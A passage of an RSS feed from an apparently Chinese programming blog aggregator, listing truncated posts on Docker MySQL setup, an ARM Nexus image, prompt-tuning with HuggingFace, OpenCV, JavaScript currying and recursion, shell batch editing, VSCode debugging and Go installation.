      <title>mysql(八)docker版Mysql8.x设置大小写忽略</title>
      <link>https://bchobby.github.io/posts/7b3369348bad201299751913b92db218/</link>
      <pubDate>Sun, 03 Dec 2023 18:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b3369348bad201299751913b92db218/</guid>
      <description>Mysql 5.7设置大小写忽略可以登录到Docker内部，修改/etc/my.cnf添加lower_case_table_names=1，并重启docker使之忽略大小写。但MySQL8.0后不允许这样，官方文档记录：&#xA;lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited.&#xA;1、 拉取mysql镜像 docker pull mysql:8.0.35 2、 启动 docker run -d --restart=always -p 3306:3306 --name mysql -v /path/to/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=root mysql:8.0.35 --lower_case_table_names=1 注意--lower_case_table_names=1作为MYSQL配置一定要放在镜像名后面 3、 查看效果 登录到镜像中&#xA;docker exec -it mysql /bin/bash mysql –uroot –proot show global variables like ‘%case%’ 出现lower_case_table_names=1表示已经忽略大小写了</description>
    </item>
    <item>
      <title>制作飞腾(arm)芯片架构的nexus镜像</title>
      <link>https://bchobby.github.io/posts/8cb97b05966f595a759f996675be227e/</link>
      <pubDate>Sun, 03 Dec 2023 18:18:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cb97b05966f595a759f996675be227e/</guid>
      <description>nexus官方没有arm架构的镜像，下面介绍一种自己制作镜像的方式&#xA;1、事先准备 在一个arm架构机器上安装docker下载nexus的linux版(https://www.sonatype.com/download-oss-sonatype)下载centos的arm架构镜像(docker pull centos-centos8.4.2105)下载arm版本的java8(https://www.oracle.com/cn/java/technologies/downloads/archive/) 2、编写运行nexus的脚本start-nexus-repository-manager.sh 下面脚本中的java版本和nexus版本需要根据自己下载的修改&#xA;#!/bin/bash umask 0027 JAVA_HOME=&#34;/usr/local/jdk.1.8.0_391&#34; PATH=$JAVA_HOME/bin:$PATH nexus_base=&#34;/opt/nexus&#34; if [ -z &#34;$(ls -A ${nexus_base})&#34; ]; then cd /opt tar -zxf nexus-3.29.2-02-unix.tar.gz -C ${nexus_base} chown -R nexus:nexus ${nexus_base} rm -rf nexus-3.29.2-02-unix.tar.gz fi cd ${nexus_base}/nexus-3.29.2-02/bin exec ./nexus run 3、编写Dockerfile 下面文件中的nexus和java版本根据实际情况修改&#xA;FROM centos:centos8.4.2105 ENV NEXUS_VERSION=&#34;3.29.2-02&#34; ENV NEXUS_BASE=&#34;/opt/nexus&#34; ENV JRE_VERSION=&#34;8u391&#34; RUN groupadd -g 1000 nexus &amp;amp;&amp;amp; useradd -r -u 1000 -g 1000 -m -c &#34;Nexus Repository Manager&#34; -d ${NEXUS_BASE} -s /bin/false nexus &amp;amp;&amp;amp; mkdir -p ${NEXUS_BASE} ADD jdk-${JRE_VERSION}-linux-aarch64.</description>
    </item>
    <item>
      <title>HuggingFace学习笔记--Prompt-Tuning、P-Tuning和Prefix-Tuning高效微调</title>
      <link>https://bchobby.github.io/posts/33e31908a67a417133be069cd05053ea/</link>
      <pubDate>Sun, 03 Dec 2023 17:52:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33e31908a67a417133be069cd05053ea/</guid>
      <description>1--Prompt-Tuning 1-1--Prompt-Tuning介绍 Prompt-Tuning 高效微调只会训练新增的Prompt的表示层，模型的其余参数全部固定；&#xA;新增的 Prompt 内容可以分为 Hard Prompt 和 Soft Prompt 两类；&#xA;Soft prompt 通常指的是一种较为宽泛或模糊的提示，允许模型在生成结果时有更大的自由度，通常用于启发模型进行创造性的生成；&#xA;Hard prompt 是一种更为具体和明确的提示，要求模型按照给定的信息生成精确的结果，通常用于需要模型提供准确答案的任务；&#xA;Soft Prompt 在 peft 中一般是随机初始化prompt的文本内容，而 Hard prompt 则一般需要设置具体的提示文本内容；&#xA;1-2--实例代码 from datasets import load_from_disk from transformers import AutoTokenizer, AutoModelForCausalLM, DataCollatorForSeq2Seq from transformers import pipeline, TrainingArguments, Trainer from peft import PromptTuningConfig, get_peft_model, TaskType, PromptTuningInit, PeftModel # 分词器 tokenizer = AutoTokenizer.from_pretrained(&#34;Langboat/bloom-1b4-zh&#34;) # 函数内将instruction和response拆开分词的原因是： # 为了便于mask掉不需要计算损失的labels, 即代码labels = [-100] * len(instruction[&#34;input_ids&#34;]) + response[&#34;input_ids&#34;] def process_func(example): MAX_LENGTH = 256 input_ids, attention_mask, labels = [], [], [] instruction = tokenizer(&#34;</description>
    </item>
    <item>
      <title>WPS开发文档</title>
      <link>https://bchobby.github.io/posts/efac9c9a8ee210b5e7ca93a3ff3278f2/</link>
      <pubDate>Sun, 03 Dec 2023 17:42:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efac9c9a8ee210b5e7ca93a3ff3278f2/</guid>
      <description>WPS官网的WPS开放平台开发文档，摘抄一些以记录及作为文档的入口记录，以后对WPS表格的操作编程再也不是从网上搜索到的只字片语了^_^。&#xA;Workbook.SaveAs 在另一不同文件中保存对工作簿所做的更改。&#xA;语法&#xA;express.SaveAs(Filename, FileFormat, Password, WriteResPassword, ReadOnlyRecommended, CreateBackup, AccessMode, ConflictResolution, AddToMru, TextCodepage, TextVisualLayout, Local)&#xA;express 一个代表 Workbook 对象的变量。&#xA;参数&#xA;名称必选/可选数据类型说明Filename可选Variant一个表示要保存文件的文件名的字符串。可包含完整路径，如果不指定路径，ET 将文件保存到当前文件夹中。FileFormat可选Variant保存文件时使用的文件格式。要查看有效的选项列表，请参阅 XlFileFormat 枚举。对于现有文件，默认采用上一次指定的文件格式；对于新文件，默认采用当前所用 ET 版本的格式。Password可选Variant它是一个区分大小写的字符串（最长不超过 15 个字符），用于指定文件的保护密码。WriteResPassword可选Variant一个表示文件写保护密码的字符串。如果文件保存时带有密码，但打开文件时不输入密码，则该文件以只读方式打开。ReadOnlyRecommended可选Variant如果为 True，则在打开文件时显示一条消息，提示该文件以只读方式打开。CreateBackup可选Variant如果为 True，则创建备份文件。AccessMode可选XlSaveAsAccessMode工作簿的访问模式。ConflictResolution可选XlSaveConflictResolution一个 XlSaveConflictResolution 值，它确定该方法在保存工作簿时如何解决冲突。如果设为 xlUserResolution，则显示冲突解决对话框。如果设为 xlLocalSessionChanges，则自动接受本地用户的更改。如果设为 xlOtherSessionChanges，则自动接受来自其他会话的更改（而不是本地用户的更改）。如果省略此参数，则显示冲突处理对话框。AddToMru可选Variant如果为 True，则将该工作簿添加到最近使用的文件列表中。默认值为 False。TextCodepage可选VariantET中对于所有语言都忽略此参数。 注释:当 ET 将工作簿保存为某种 CSV 或文本格式（使用 FileFormat 参数指定）时， ET 使用对应于当前计算机上使用的系统区域设置语言的代码页。在“控制面板”中单击“区域和语言”，再单击“位置”选项卡，在“当前位置”下可获得此系统设置。TextVisualLayout可选VariantET中对于所有语言都忽略此参数。 注释:当 ET 将工作簿保存为某种 CSV 或文本格式（使用 FileFormat 参数指定）时，它按逻辑布局保存这些格式。如果文件中左至右 (LTR) 文本嵌在右至左 (RTL) 文本中，或者相反，那么逻辑布局将把文件的内容，按照文件中所有语言的正确阅读顺序保存，而不考虑方向。当应用程序打开文件时，每串 LTR 或 RTL 字符将根据代码页中的字符值范围，按照正确的方向呈现。（除非用来打开文件的应用程序是为显示文件的确切内存布局而设计的应用程序，如调试器或编辑器）。Local可选Variant如果为 True，则以 ET（包括控制面板设置）的语言保存文件。如果为 False（默认值），则以 示例代码 (VBA) 的语言保存文件。VBA 通常为美国英语版本，除非从中运行 Workbooks.</description>
    </item>
    <item>
      <title>【方便的Opencv】实现播放有声音的视频&#43;附带图片生成gif</title>
      <link>https://bchobby.github.io/posts/23ad29b065218730398b850f9e5cdee5/</link>
      <pubDate>Sun, 03 Dec 2023 17:17:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23ad29b065218730398b850f9e5cdee5/</guid>
      <description>吃瓜🍉 因为最近老是用到Opencv这个库来处理视频，过程遇到了非常多的细节问题，最后把成品干脆直接放到博客来，这样以后可以随时过来取用。&#xA;Opencv读取视频没有声音的原因是因为：视频是分为图像与音频的，Opencv仅仅只是读取了一帧帧图像，并没有读取到音频，所以我们只需要再读取一次音频，并且两者同时播放就OK啦！&#xA;【方便的Opencv】实现播放有声音的视频+附带图片生成gif&#xA;前言&#xA;实现功能&#xA;代码：&#xA;将一个文件夹下的图片生成gif&#xA;实现功能 · ❥ 播放视频 ❤ · ❥ 播放音频 ❤ · ❥ 播放进度展示 ❤ · ❥ 帧数统计 ❤ · ❥ 按空格键可暂停。 ❤ 代码—Code show time!👑 # 使用cv2读取显示视频 # 引入math import math # 引入opencv import cv2 from ffpyplayer.player import MediaPlayer # opencv获取本地视频 def play_video(video_path, audio_play=True): cap = cv2.VideoCapture(video_path) if audio_play: player = MediaPlayer(video_path) # 打开文件状态 isopen = cap.isOpened() if not isopen: print(&#34;Err: Video is failure.</description>
    </item>
    <item>
      <title>函数柯里化</title>
      <link>https://bchobby.github.io/posts/e4456f245cb2ac9e60eee15140f36491/</link>
      <pubDate>Sun, 03 Dec 2023 17:08:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4456f245cb2ac9e60eee15140f36491/</guid>
      <description>前端面试大全·JavaScript函数柯里化&#xA;🌟经典真题&#xA;🌟什么是函数柯里化&#xA;🌟柯里化快速入门&#xA;🌟函数柯里化实际应用&#xA;🌟封装通用柯里化函数&#xA;🌟一道经典的柯里化面试题&#xA;🌟真题详解&#xA;🌟总结&#xA;🌟经典真题 什么是函数柯里化？ 🌟什么是函数柯里化 在计算机科学中，柯里化（英语：Currying），又译为卡瑞化或加里化，是把接受多个参数的函数变换成接受一个单一参数（最初函数的第一个参数）的函数，并且返回接受余下的参数而且返回结果的新函数的技术。&#xA;这个技术由克里斯托弗·斯特雷奇以逻辑学家哈斯凯尔·加里命名的，尽管它是 Moses Schönfinkel 和戈特洛布·弗雷格发明的。&#xA;在直觉上，柯里化声称如果你固定某些参数，你将得到接受余下参数的一个函数。&#xA;我们姑且叫它返回函数，在调用返回函数的时候，它将判断当前的参数和之前被柯里化函数固定的参数拼起来之后，是否达到了原本函数的参数个数。&#xA;如果是，则执行原本的函数，得到结果；如果没有达到，则要继续调用柯里化函数来固定目前的参数。&#xA;在理论计算机科学中，柯里化提供了在简单的理论模型中，比如：只接受一个单一参数的 lambda 演算中，研究带有多个参数的函数的方式。&#xA;函数柯里化的对偶是Uncurrying，一种使用匿名单参数函数来实现多参数函数的方法。&#xA;🌟柯里化快速入门 接下来，我们来通过一个简单的示例，让大家快速体会函数柯里化。&#xA;假设我们有一个求取两个数之和的函数：&#xA;function add(x, y) { return x + y; } console.log(add(1, 2)); // 3 console.log(add(5, 7)); // 12 在上面的示例中，我们有一个 add 函数，接收两个形参，返回两形参的和。&#xA;在调用的时候，我们每次也需要传递两个参数。&#xA;现在，我们对其进行柯里化，如下：&#xA;function add(x) { return function (y) { return x + y; } } console.log(add(1)(2)); // 3 console.log(add(5)(7)); // 3 在上面的代码中，我们对 add 函数进行了柯里化改造，只接受一个参数，但是返回的也不是值了，而是返回一个函数，这个函数也接收一个参数，然后利用闭包的特性，可以访问到最开始传入的 x 的值，最终返回 x 和 y 的和。</description>
    </item>
    <item>
      <title>JavaScript递归</title>
      <link>https://bchobby.github.io/posts/8abcf99b9e024c13fb368b944fdeddb5/</link>
      <pubDate>Sun, 03 Dec 2023 16:52:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abcf99b9e024c13fb368b944fdeddb5/</guid>
      <description>前端面试大全·JavaScript递归&#xA;🌟经典真题&#xA;🌟递归&#xA;🌟真题解答&#xA;🌟总结&#xA;🌟经典真题 使用递归完成 1 到 100 的累加 🌟递归 A recursive method is a method that calls itself.&#xA;递归调用是一种特殊的调用形式，指的是方法自己调用自己的形式。&#xA;下面是一个递归的示例：&#xA;function neverEnd() { console.log(&#34;This is the method that never ends!&#34;); neverEnd(); } method 会先输出 This is the method that never ends! 然后再调用自己，导致无限递归（infinite recursion）。当然这一般是我们需要避免的状况。&#xA;在进行递归操作的时候，我们需要满足以下几个条件：&#xA;递归调用必须有结束条件每次调用的时候都需要根据需求改变传递的参数内容 下面是递归的一个示例，求某个数的阶乘。&#xA;function factorial(x) { if (x === 1) { return 1; } else { return x * factorial(x - 1); } } console.</description>
    </item>
    <item>
      <title>【话题】程序员的养生之法</title>
      <link>https://bchobby.github.io/posts/d660d6ad9df3f91c867c9d74d1e851e0/</link>
      <pubDate>Sun, 03 Dec 2023 16:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d660d6ad9df3f91c867c9d74d1e851e0/</guid>
      <description>背景 CSDN的话题活动，交流程序员的养生之法。&#xA;在这个平台，交流这个话题实在是再合适不过了，中国每年毕业的大学生“程序员”使用CSDN的比例没有100%也得用90%？可能我都说少了，因为我身边就有好多跨专业的朋友，学法律的，建筑的，化学的，物理的都来争做程序员，想来那一定是因为程序员会养生，活得久吧。&#xA;大纲 这里聊一聊我身边的程序员都是怎么养身的，主要非以下几个方向&#xA;背景&#xA;大纲&#xA;草药系&#xA;一把壶&#xA;花花草草 红枣+枸杞&#xA;黄芪粉/片&#xA;红豆薏米&#xA;罗汉果菊花茶&#xA;桂圆大枣&#xA;化学系&#xA;心灵系&#xA;躺平系&#xA;物理系&#xA;帽子&#xA;护膝&#xA;冲锋衣 长筒袜&#xA;颈部按摩仪&#xA;村口的足疗店&#xA;草药系 能入选草药系的，绝不是保温杯泡枸杞就能入选的！门槛要抬高一些~&#xA;一把壶 办公桌必备一把养生壶，或是小熊，或是美的，或是苏泊尔，这是硬件入门条件，保温杯只能说是入门。&#xA;如果再霸道一些，陶瓷煎药壶都会可以上的桌来，得敢想敢干，这个不是梦，一个合格的程序员大概率会需要这么一个壶，如果你面子薄，可以放家里，煮好了以后用保温壶带单位喝。&#xA;花花草草 养生壶里的门道太多了，我自己也不修这一系，就讲一讲身边常见的吧。&#xA;红枣+枸杞 枸杞那必须是宁夏的枸杞，滋阴补肾，明目养颜，有长寿果之称。&#xA;红枣，保肝护脾、美容、补气养血、预防心血管病。&#xA;这两者的搭配是最常见的~&#xA;黄芪粉/片 据说有调理气血，滋养脾胃的功效，还有助于提高免疫力，抗疲劳，非常适合经常熬夜的人士。&#xA;红豆薏米 女生常见的路子，祛湿减肥，煮完的渣渣还能当饭吃，省一顿晚饭呢&#xA;罗汉果菊花茶 清热去火,疏散风热、清肝明目，这个适合口若悬河的领导，开会多的，能喷的，一定记得多喝一些。 桂圆大枣 安神补脑，改善气血，味道很不错，适合女孩子。&#xA;先就这些吧，还有很多煮水果的，玉米的，看不懂是什么路子，就不讲了。&#xA;化学系 花花绿绿的小药片吃起来，您要是不说自己是程序员，旁人真可能以为你是重症患者呢。&#xA;不吃药不行啊，经常加班熬夜，生活不规律都是程序员的必经之路，你说自己不熬夜？那你不是大神就是混子。 嫌弃草药系太麻烦，直接上药片多，我不多说，光列举一下，列为看看是否熟悉？&#xA;善存复合维生素片：满足每日微量营养需求，给身体全面的维生素补充钙铁锌片：微量元素加补钙洋参含片：提高免疫力，抗疲劳，抗氧化褪黑素：调节睡眠，改善睡眠质量胶原蛋白片：帮助皮肤抗初老，维护皮肤弹性月见草精华：调节女性内分泌，呵护卵巢缓解姨妈痛黑糖芝麻丸：滋阴养发 心灵系 这一类人不合汤也不吃药，纯练心态，和谁都不生气，心态好到感觉已经成佛，一般的事情绝不会让他们收到干扰。&#xA;俗话讲，生气伤肝，不生气，没脾气的程序员哪还用得着养生？甭管是遇到再难缠的领导和再无理的产品经理，他们都会一笑而过，很大气的请领导和产品经理去吃药。&#xA;躺平系 这一类程序员是占大多数的，他们相信咖啡可以养生。&#xA;还可以减肥，助消化，晚上喝还可以提神。这被提起的神是哪里借的，要不要还？他们也不清楚。&#xA;物理系 用物理的方式养生，是从原始人时期就有的，说的当然是保暖，而保暖最重要的是保脑袋。&#xA;帽子 人人都知道女人爱买鞋子，而不知道程序员爱买帽子，当然不是为了美，而是为了保暖。&#xA;护膝 久坐的人为什么需要护膝？难道你身边的程序员真的不运动，不跑步吗？&#xA;跑啊，程序员是会跑步，但为什么需要护膝呢？因为大多数上年纪的程序员都有一副超重的身躯，这时候跑步会给膝盖带来巨大的压力，当然需要一副护膝。相信我，你需要的~&#xA;冲锋衣 据说今年的双十一的消费者群里有变化了，男人的消费终于超过的宠物狗，这真多亏了冲锋衣，拉起了男人的消费。&#xA;程序员穿冲锋衣的比例真的很大，不知道各位身边的同事是不是这样。&#xA;长筒袜 保护脚踝，给你一个温暖的冬天。&#xA;颈部按摩仪 便携的小电器，放在办公室也不占空间，太合适一坐一天的程序员了。</description>
    </item>
    <item>
      <title>实用的MCU非阻塞式框架---外设部分</title>
      <link>https://bchobby.github.io/posts/c17c503578f4a493f705d688ba426048/</link>
      <pubDate>Sun, 03 Dec 2023 15:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c17c503578f4a493f705d688ba426048/</guid>
      <description>常用的单片机裸机非阻塞式框架 仅作参考&#xA;ADC采样滤波 0.约1024次AD后采样获取一次温度值&#xA;1.支持双电阻高低温区采样&#xA;2.一阶滤波、限幅滤波、温差比较 ---- 冒泡排序后取平均值&#xA;3.二分法获取查表获取温度&#xA;4.添加补偿温度&#xA;/**************************************************************************************************** Function Name :void NTC_GetTpTask(void) Description : Author :MECHT Version :V1.0 ****************************************************************************************************/ #define ADC_GROUP 8 #define NTC_GROUP_NUM 16 void NTC_GetTpTask(void) { static uint xdata Su16TempBuf1[ADC_GROUP] = {0}; static uchar xdata Su8BufIndex1 = 0;&#x9;//单个通道ADC值数组下标 static uint xdata Su16TempBuf2[ADC_GROUP] = {0}; static uchar xdata Su8BufIndex2 = 0;&#x9;//单通道平均值数组下标 static signed int xdata Su16TempBuf3[NTC_GROUP_NUM] = {0}; static uchar xdata Su8BufIndex3 = 0; static signed int xdata OldNtcValue = 0; static uint16_t Tempd = 0; static uint16_t OldAdcValue = 0; uint16_t AdcTempValue = 0; //临时值 uint16_t AdcTempAverage = 0;&#x9;//临时平均值 // 此部分根据单片机不同更换，目标都是获取AD值 ADCCON &amp;amp;= ~(0X20); //清零 ADCCON |= 0X40; //Start ADC conversion while(!</description>
    </item>
    <item>
      <title>shell脚本（一）—— 批量修改文件中的内容</title>
      <link>https://bchobby.github.io/posts/9cc8f7dcb5274271548915e539b7043c/</link>
      <pubDate>Sun, 03 Dec 2023 15:13:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cc8f7dcb5274271548915e539b7043c/</guid>
      <description> 简单的shell脚本，用于批量修改当前文件夹下被匹配的子文件夹中所有文件的内容：&#xA;#! /bin/bash echo &#34;change all the file in this dir !&#34; for dir in $(ls -d rfdig*); do [ -d $dir ] &amp;amp;&amp;amp; echo $dir for file in $(cd $dir &amp;amp;&amp;amp; ls *); do [ -e ${dir}/${file} ] &amp;amp;&amp;amp; echo $file sed -i &#39;s/gpio_ret_pd_p/gpio_mcu_p/g&#39; ${dir}/${file} sed -i &#39;s/gpio_out_set/gpio_mcu_out_set/g&#39; ${dir}/${file} sed -i &#39;s/gpio_out_clear/gpio_mcu_out_clear/g&#39; ${dir}/${file} sed -i &#39;s/pmu_dig_psw_ack/pmu_power_state/g&#39; ${dir}/${file} sed -i &#39;s/RFDIG_REGS\[crg_crg\]/RFDIG_REGS\[crg_ret_pd_crg\]/g&#39; ${dir}/${file} sed -i &#39;s/RFDIG_REGS\[dsm_denominator\]/RFDIG_REGS\[dsm_ret_pd_denominator\]/g&#39; ${dir}/${file} sed -i &#39;s/RFDIG_REGS\[dsm_divn_frac\]/RFDIG_REGS\[dsm_ret_pd_divn_frac\]/g&#39; ${dir}/${file} sed -i &#39;s/u_uwb_sub/u_pd_uwb_wrap/g&#39; ${dir}/${file} sed -i &#39;s/u_rfdig_top/u_rfdig_uwb_top/g&#39; ${dir}/${file} sed -i &#39;s/crg_crg_vcosel_clk_gate_en_bit/crg_ret_pd_crg_vcosel_clk_gate_en_bit/g&#39; ${dir}/${file} sed -i &#39;s/crg_txafe_crg/crg_txafe_ret_pd_crg/g&#39; ${dir}/${file} done done </description>
    </item>
    <item>
      <title>openCv颜色矩</title>
      <link>https://bchobby.github.io/posts/0f0afcca51086410c4557946db4c73f7/</link>
      <pubDate>Sun, 03 Dec 2023 14:16:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f0afcca51086410c4557946db4c73f7/</guid>
      <description>颜色矩（Color Moments）是一种常用的图像特征描述方法，用于表示图像中颜色的分布和统计特征。它是基于图像的颜色直方图而计算得到的。&#xA;颜色矩通常包括三个维度：平均值、方差和偏度。具体来说：&#xA;平均值（Mean）：表示图像中颜色分布的平均值，可以分别计算每个颜色通道（如红、绿、蓝）的平均值。&#xA;方差（Variance）：表示图像中颜色分布的离散程度，用于反映颜色的变化范围。方差越大，表示颜色分布越分散。&#xA;偏度（Skewness）：描述颜色分布的偏斜程度，用于判断颜色分布的对称性。正偏斜表示颜色分布向右偏移，负偏斜表示颜色分布向左偏移。&#xA;通过计算这些颜色矩特征，我们可以获得关于图像颜色分布的统计信息。这些特征可以应用于图像检索、图像分类、目标识别等领域。在图像检索中，我们可以根据颜色矩特征的相似度进行图像的匹配和检索。&#xA;需要注意的是，颜色矩是一种简化的颜色特征表示方法，它忽略了颜色之间的空间关系。因此，在某些情况下，可能需要结合其他特征描述方法来获得更全面的图像特征表示。&#xA;总结起来，颜色矩是一种基于颜色直方图的图像特征描述方法，用于表示图像中颜色的分布和统计特征。它在图像处理和相关应用中具有广泛的应用价值。</description>
    </item>
    <item>
      <title>解决MAC中vscode调试C&#43;&#43;代码无法处理输入的问题</title>
      <link>https://bchobby.github.io/posts/50a6b0bb64ec4c6a7ddc9e3ab0931ccb/</link>
      <pubDate>Sun, 03 Dec 2023 11:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50a6b0bb64ec4c6a7ddc9e3ab0931ccb/</guid>
      <description>写在前面的话：很久没有使用C/C++进行编程了，这次在MAC电脑的vscode中对C/C++代码进行调试时，发现运行到scanf、cin等输入语句时无法输入，参考了网上一些教程，发现有些繁琐或是难以解决我的问题。因此以本文记录最终的解决方案，一来为了记录以便下次遇到时进行解决，二来希望同大家交流探讨。&#xA;一、问题描述 这里用一个简单的输入输出示例说明我遇到的问题。当我进行调试时，发现程序的输出是在调试控制台，并且在这里我无法进行输入。（也就是对应scanf的那条语句开始无法继续向下推进）。&#xA;因此，我需要寻求方法，解决调试过程中无法进行输入的问题。&#xA;二、解决方法 （有多种解决方法，这里选择我认为最易于进行的方法）&#xA;Step1：下载相关插件（这一步简单带过）&#xA;安装CodeLLDB的扩展插件。&#xA;Step2：生成可执行文件&#xA;这里既可以直接在终端中输入g++命令，也可以直接点击vscode右上角的运行按钮。&#xA;经过这一步，我们会发现当前目录下生成了可执行文件。此时，我们就可以进行调试了。&#xA;Step3:调试（修改launch.json文件）&#xA;按fn+F5（建议这种方法不要选择右上角的调试按钮），然后选择LLDB调试器。&#xA;可以看到在当前目录下多了.vscode文件夹，并且自动创建了launch.json文件。（这个时候直接进行调试会报错/仍然无法处理输入问题）&#xA;这里我们需要修改两个地方：&#xA;1、使用集成终端来运行和调试程序：增加 “terminal”: “integrated”,&#xA;2、运行当前文件所在目录下的同名可执行文件：修改program属性为：“${workspaceFolder}/${fileBasenameNoExtension}”&#xA;如下图所示，为了方便复制，把这段configurations粘贴在这里：&#xA;&#34;configurations&#34;: [ { &#34;type&#34;: &#34;lldb&#34;, &#34;request&#34;: &#34;launch&#34;, &#34;name&#34;: &#34;Debug&#34;, &#34;terminal&#34;: &#34;integrated&#34;, &#34;program&#34;: &#34;${workspaceFolder}/${fileBasenameNoExtension}&#34;, &#34;args&#34;: [], &#34;cwd&#34;: &#34;${workspaceFolder}&#34; } ] 至此，修改完成。此时我们再按fn+F5，发现调试可以处理我们的输入语句了。&#xA;三、解决每次都需要修改配置文件的方法 在上面的步骤中，已经能解决在当前项目下debug无法处理输入的问题了。但是如果换一个项目，依然要重新经历一次上面的配置修改，较为麻烦。因此考虑解决每次都需要重新修改配置文件的问题。（一种比较简便的方法是将配置文件保存成模板，新建项目后拷贝进去）这里介绍一种更方便的方法：在VSCode的全局用户设置中配置一个默认的launch.json文件。&#xA;使用快捷键command+,打开设置。点击settings.json，这个文件是用来存储VS Code的全局用户设置的。&#xA;找到名为&#34;launch&#34;的属性，它的值是一个对象，对象中包含了我们想要配置的launch.json文件的内容。&#xA;根据我们这次的内容修改为如下所示：&#xA;此后，我们即使新建一个项目，不需要重新配置调试也可以处理输入了。&#xA;个人记录：python是解释类型的语言，与之处理方式不同。经过一些处理，在本电脑下调试时直接按右上角的调试按钮选择python调试进行调试即可。</description>
    </item>
    <item>
      <title>linux 安装go环境</title>
      <link>https://bchobby.github.io/posts/7f1c877b03173ac2a212ee29b90f4641/</link>
      <pubDate>Sun, 03 Dec 2023 09:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f1c877b03173ac2a212ee29b90f4641/</guid>
      <description>下载go SDK All releases - The Go Programming Language&#xA;此处建议选择与本机windows一样的版本，便于调试，若不涉及本地windows，则忽略此提示&#xA;上传到linux&#xA;解压go SDK 执行下述命令进行解压&#xA;tar -xvf go1.19.linux-amd64.tar.gz 此处选择的原地解压，也可以解压到指定的其他目录&#xA;配置环境变量 将解压后的go/bin添加到环境变量&#xA;export PATH=$PATH:/root/goDebug/go/bin 检查版本 若能够成功执行go version，并且输出的结果是预期安装的版本，则说明go sdk 已经安装成功</description>
    </item>
    <item>
      <title>人工智能时代：AIGC的横空出世</title>
      <link>https://bchobby.github.io/posts/54e59bb3c120cbf4f37a9ac26896c30e/</link>
      <pubDate>Sat, 02 Dec 2023 22:39:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54e59bb3c120cbf4f37a9ac26896c30e/</guid>
      <description>🌈个人主页：聆风吟&#xA;🔥系列专栏：数据结构、网络奇遇记&#xA;🔖少年有梦不应止于心动，更要付诸行动。&#xA;文章目录 📋前言一. 什么是AIGC?二. AIGC的主要特征2.1 文本生成2.2 图像生成2.3 语音生成2.4 视频生成 三. AIGC如何运作？3.1 步骤一：收集数据3.2 步骤二：模型训练3.3 步骤三：内容生成3.4 步骤四：反馈和改进 四. AIGC关键技术能力五. 应用领域六. AIGC的优势和挑战6.1 优势6.2 挑战 📝结语 📋前言 随着人工智能技术的不断发展，我们进入了一个信息爆炸的时代，信息量庞大，但也难免产生了信息过载的问题。为了解决这一问题，人工智能生成内容技术（AIGC）应运而生。&#xA;生成式人工智能AIGC（Artificial Intelligence Generated Content）是人工智能1.0时代进入2.0时代的重要标志。&#xA;一. 什么是AIGC? AIGC是一种新的人工智能技术，它的全称是Artificial Intelligence Generative Content，即人工智能生成内容。&#xA;它是一种基于机器学习和自然语言处理的技术，能够自动产生文本、图像、音频等多种类型的内容。这些内容可以是新闻文章、小说、图片、音乐，甚至可以是软件代码。AIGC系统通过分析大量的数据和文本，学会了模仿人类的创造力，生成高质量的内容。&#xA;二. AIGC的主要特征 现阶段国内AIGC多以单模型应用的形式出现，主要分为文本生成、图像生成、视频生成、音频生成，其中文本生成成为其他内容生成的基础。&#xA;2.1 文本生成 文本生成（AI Text Generation），人工智能文本生成是使用人工智能(AI)算法和模型来生成模仿人类书写内容的文本。它涉及在现有文本的大型数据集上训练机器学习模型，以生成在风格、语气和内容上与输入数据相似的新文本。&#xA;2.2 图像生成 图像生成（AI Image Generation），人工智能(AI)可用于生成非人类艺术家作品的图像。这种类型的图像被称为“人工智能生成的图像”。人工智能图像可以是现实的或抽象的，也可以传达特定的主题或信息。&#xA;2.3 语音生成 语音生成（AI Audio Generation），AIGC的音频生成技术可以分为两类，分别是文本到语音合成和语音克隆。文本到语音合成需要输入文本并输出特定说话者的语音，主要用于机器人和语音播报任务。到目前为止，文本转语音任务已经相对成熟，语音质量已达到自然标准，未来将向更具情感的语音合成和小样本语音学习方向发展；语音克隆以给定的目标语音作为输入，然后将输入语音或文本转换为目标说话人的语音。此类任务用于智能配音等类似场景，合成特定说话人的语音。&#xA;2.4 视频生成 视频生成（AI Video Generation），AIGC已被用于视频剪辑处理以生成预告片和宣传视频。工作流程类似于图像生成，视频的每一帧都在帧级别进行处理，然后利用 AI 算法检测视频片段。AIGC生成引人入胜且高效的宣传视频的能力是通过结合不同的AI算法实现的。凭借其先进的功能和日益普及，AIGC可能会继续革新视频内容的创建和营销方式。&#xA;三. AIGC如何运作？ 通过单个大规模数据的学习训练，令AI具备了多个不同领域的知识，只需要对模型进行适当的调整修正，就能完成真实场景的任务。AIGC的工作原理可以分为以下几个步骤：&#xA;3.1 步骤一：收集数据 AIGC 需要大量的数据来学习和理解人类创作的内容。这些数据可以包括书籍、文章、图片、音频和视频等各种形式的媒体。</description>
    </item>
    <item>
      <title>题解 | 【LittleXi】2023年广东工业大学腾讯杯新生程序设计竞赛</title>
      <link>https://bchobby.github.io/posts/5729593a53f8543ac592e6341af232e2/</link>
      <pubDate>Sat, 02 Dec 2023 19:09:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5729593a53f8543ac592e6341af232e2/</guid>
